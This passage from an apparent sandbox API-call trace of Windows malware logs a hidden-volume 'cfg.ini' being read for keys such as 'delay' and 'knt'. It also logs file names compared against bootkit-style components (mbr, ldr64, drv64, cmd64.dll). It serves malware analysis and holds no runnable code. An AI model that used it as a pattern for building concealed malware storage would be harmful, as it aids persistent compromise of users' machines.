Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.698] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.698] IdePortDispatch () returned 0x103 [0125.698] KeWaitForMutexObject () returned 0x0 [0125.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.698] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.698] IdePortDispatch () returned 0x103 [0125.698] KeWaitForMutexObject () returned 0x0 [0125.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.699] KeLeaveCriticalRegion () [0125.699] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.699] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.699] KeEnterCriticalRegion () [0125.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.699] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.699] KeLeaveCriticalRegion () [0125.699] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.699] KeEnterCriticalRegion () [0125.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.699] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.699] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.699] KeLeaveCriticalRegion () [0125.699] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.699] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.699] KeEnterCriticalRegion () [0125.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.699] ExFreePoolWithTag (P=0xfffffa8003bf9ad0, Tag=0x0) [0125.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.699] KeLeaveCriticalRegion () [0125.699] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.699] ReleaseMutex (hMutex=0xf0) returned 1 [0125.699] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.699] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.700] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.700] KeEnterCriticalRegion () [0125.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.700] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.700] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.700] IdePortDispatch () returned 0x103 [0125.700] KeWaitForMutexObject () returned 0x0 [0125.700] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.700] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.700] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.700] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.700] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.700] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9c60 [0125.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.700] KeLeaveCriticalRegion () [0125.700] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.700] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.700] KeEnterCriticalRegion () [0125.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.700] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.700] KeLeaveCriticalRegion () [0125.700] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.700] KeEnterCriticalRegion () [0125.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.700] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.700] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.700] IdePortDispatch () returned 0x103 [0125.701] KeWaitForMutexObject () returned 0x0 [0125.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.701] KeLeaveCriticalRegion () [0125.701] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.701] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.701] KeEnterCriticalRegion () [0125.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.701] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccf000 [0125.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.701] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.701] IdePortDispatch () returned 0x103 [0125.701] KeWaitForMutexObject () returned 0x0 [0125.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.701] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.701] IdePortDispatch () returned 0x103 [0125.701] KeWaitForMutexObject () returned 0x0 [0125.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.701] KeLeaveCriticalRegion () [0125.701] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.702] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.702] KeEnterCriticalRegion () [0125.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.702] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.702] KeLeaveCriticalRegion () [0125.702] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.702] KeEnterCriticalRegion () [0125.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.702] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.702] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.702] KeLeaveCriticalRegion () [0125.702] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.702] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.702] KeEnterCriticalRegion () [0125.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.702] ExFreePoolWithTag (P=0xfffffa8003bf9c60, Tag=0x0) [0125.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.702] KeLeaveCriticalRegion () [0125.702] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.702] ReleaseMutex (hMutex=0xf0) returned 1 [0125.702] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.702] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.702] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.702] KeEnterCriticalRegion () [0125.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.703] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.703] IdePortDispatch () returned 0x103 [0125.703] KeWaitForMutexObject () returned 0x0 [0125.703] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.703] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.703] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.703] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.703] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.703] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9670 [0125.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.703] KeLeaveCriticalRegion () [0125.703] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.703] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.703] KeEnterCriticalRegion () [0125.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.703] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.703] KeLeaveCriticalRegion () [0125.703] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.703] KeEnterCriticalRegion () [0125.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.703] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.703] IdePortDispatch () returned 0x103 [0125.703] KeWaitForMutexObject () returned 0x0 [0125.703] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.703] KeLeaveCriticalRegion () [0125.704] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.704] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.704] KeEnterCriticalRegion () [0125.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.704] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd0000 [0125.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.704] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.704] IdePortDispatch () returned 0x103 [0125.704] KeWaitForMutexObject () returned 0x0 [0125.704] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.704] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.704] IdePortDispatch () returned 0x103 [0125.704] KeWaitForMutexObject () returned 0x0 [0125.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.704] KeLeaveCriticalRegion () [0125.704] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.705] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.705] KeEnterCriticalRegion () [0125.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.705] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.705] KeLeaveCriticalRegion () [0125.705] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.705] KeEnterCriticalRegion () [0125.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.705] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.705] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.705] KeLeaveCriticalRegion () [0125.705] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.705] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.705] KeEnterCriticalRegion () [0125.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.705] ExFreePoolWithTag (P=0xfffffa8003bf9670, Tag=0x0) [0125.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.705] KeLeaveCriticalRegion () [0125.705] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.705] ReleaseMutex (hMutex=0xf0) returned 1 [0125.705] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.705] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.705] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.705] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.705] KeEnterCriticalRegion () [0125.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.705] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.705] IdePortDispatch () returned 0x103 [0125.706] KeWaitForMutexObject () returned 0x0 [0125.706] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.706] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.706] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.706] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.706] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.706] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.706] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.706] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.706] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.706] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.706] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.706] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.706] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.706] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.706] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.706] KeLeaveCriticalRegion () [0125.706] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.706] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.706] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.706] KeEnterCriticalRegion () [0125.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.706] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.706] IdePortDispatch () returned 0x103 [0125.706] KeWaitForMutexObject () returned 0x0 [0125.706] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.706] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.706] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.706] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.706] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.707] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.707] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.707] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.707] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.707] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.707] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.707] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.707] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.707] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.707] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.707] KeLeaveCriticalRegion () [0125.707] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.707] ReleaseMutex (hMutex=0x100) returned 1 [0125.707] Sleep (dwMilliseconds=0x2bf20) [0125.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e2180f0, dwHighDateTime=0x1d24fa4)) [0125.714] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.714] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.714] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.714] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.714] KeEnterCriticalRegion () [0125.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.715] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.715] IdePortDispatch () returned 0x103 [0125.715] KeWaitForMutexObject () returned 0x0 [0125.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.715] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.715] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.715] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" 